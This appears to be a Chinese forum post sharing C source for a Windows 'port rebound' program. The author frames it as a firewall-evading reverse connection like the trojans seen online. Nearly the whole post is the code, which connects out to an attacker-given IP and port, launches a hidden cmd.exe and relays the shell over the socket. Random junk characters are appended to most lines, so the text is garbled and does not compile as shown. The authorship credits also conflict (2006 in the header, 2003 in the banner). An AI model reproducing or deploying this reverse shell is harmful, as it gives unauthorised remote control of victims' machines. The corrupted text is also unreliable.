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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wd#AA#J;*  
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/* ============================== /pk; E$qv  
Rebound port in Windows NT jQ^Ib]"K  
By wind,2006/7 HJcZ~5jf  
===============================*/ >8 JvnBFx=  
#include OT *W]f  
#include .ERO*Tj  
2~`dV_  
#pragma comment(lib,"wsock32.lib") c=b\9!hr_E  
^_=0.:QaW  
void OutputShell(); O,OGq0c  
SOCKET sClient; ;XtDz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]cA~%$c89s  
wcL0#[)  
void main(int argc,char **argv) ~o2{Wn["  
{ %qE#^ U  
WSADATA stWsaData; =0f8W=d:Vr  
int nRet; { a_L /"7  
SOCKADDR_IN stSaiClient,stSaiServer; ):|)/ZiC'  
?Jr<gn^D  
if(argc != 3) /N^+a-.Qd  
{ zp9 ?Ia  
printf("Useage:\n\rRebound DestIP DestPort\n"); CD tYj  
return; Q-au)R,  
} -[`W m7en  
3+$O#>  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8/F2V?iT  
R|M:6]}   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nWl0R=  
$U0(%lIU  
stSaiClient.sin_family = AF_INET; MnS"M[y3  
stSaiClient.sin_port = htons(0); @'rO=(-b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); % (.PRRI  
;C{_T:LS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *AA1e}R{B  
{ #rC/y0niH  
printf("Bind Socket Failed!\n"); GbE3 :;JI  
return; vOj$-A--qU  
} e=R} 4`  
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stSaiServer.sin_family = AF_INET; 7, 4x7!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }dR *bG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zSH#j RDV  
Lf:Z (Z>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b7,qzh  
{ a;zcAeX  
printf("Connect Error!"); avz 4 &  
return; Iymz2  
} Tc*PDt0C  
OutputShell(); <f*0 XJ#  
} qXF"1f_+  
' #mC4\<W8  
void OutputShell() FV9RrI2  
{ HkN +:  
char szBuff[1024]; cs5Xd  
SECURITY_ATTRIBUTES stSecurityAttributes; 19vD(KC<  
OSVERSIONINFO stOsversionInfo; Zk[#B UA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?c+;  
STARTUPINFO stStartupInfo; i*tj@5MY-  
char *szShell; ] QEw\4M?=  
PROCESS_INFORMATION stProcessInformation; gn%"dfm  
unsigned long lBytesRead; Z4!3I@yZ  
*k}d@j,*"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8B+uNN~%]  
O`=Uq0Vv  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r__M1 !3  
stSecurityAttributes.lpSecurityDescriptor = 0; a~|ge9? (  
stSecurityAttributes.bInheritHandle = TRUE; ;:4puv+]  
Txh;r.1e  
3:( `#YY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7ou^wt+%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r:cUAe7#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |(<L!6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -UVWs2W'$  
stStartupInfo.wShowWindow = SW_HIDE; #o RUH8  
stStartupInfo.hStdInput = hReadPipe; P33E\O  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2~<0<^j/]  
SMyg=B\x?7  
GetVersionEx(&stOsversionInfo); i@* ^]'  
X`b5h}c  
switch(stOsversionInfo.dwPlatformId) (AYD @  
{ D |o@(V  
case 1: ||V:',#,W  
szShell = "command.com"; 8(}sZ)6  
break; J (h>  
default: hqPn~Tq  
szShell = "cmd.exe"; BR2y1Hfi  
break; J.nq[/Q=  
} z@i4dC  
Q\76jD`m\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iIFQRnpu;3  
f#5JAR  
send(sClient,szMsg,77,0); 8=~>B@'  
while(1) ShpnFuH  
{ 5[_8N{QC;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o1Ln7r.  
if(lBytesRead) zTLn*?  
{ Pcs@`&}7r  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q-v[O4 y~  
send(sClient,szBuff,lBytesRead,0); R5"p7>  
} T8-$[ 2  
else :3f2^(b~^  
{ &}O!l'  
lBytesRead=recv(sClient,szBuff,1024,0); `?x$J 6p  
if(lBytesRead<=0) break; dK: "  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e`r;`a&  
} s /M~RB!w  
} O 0#Jl8  
UsN b&aue  
return; OX4D'  
}
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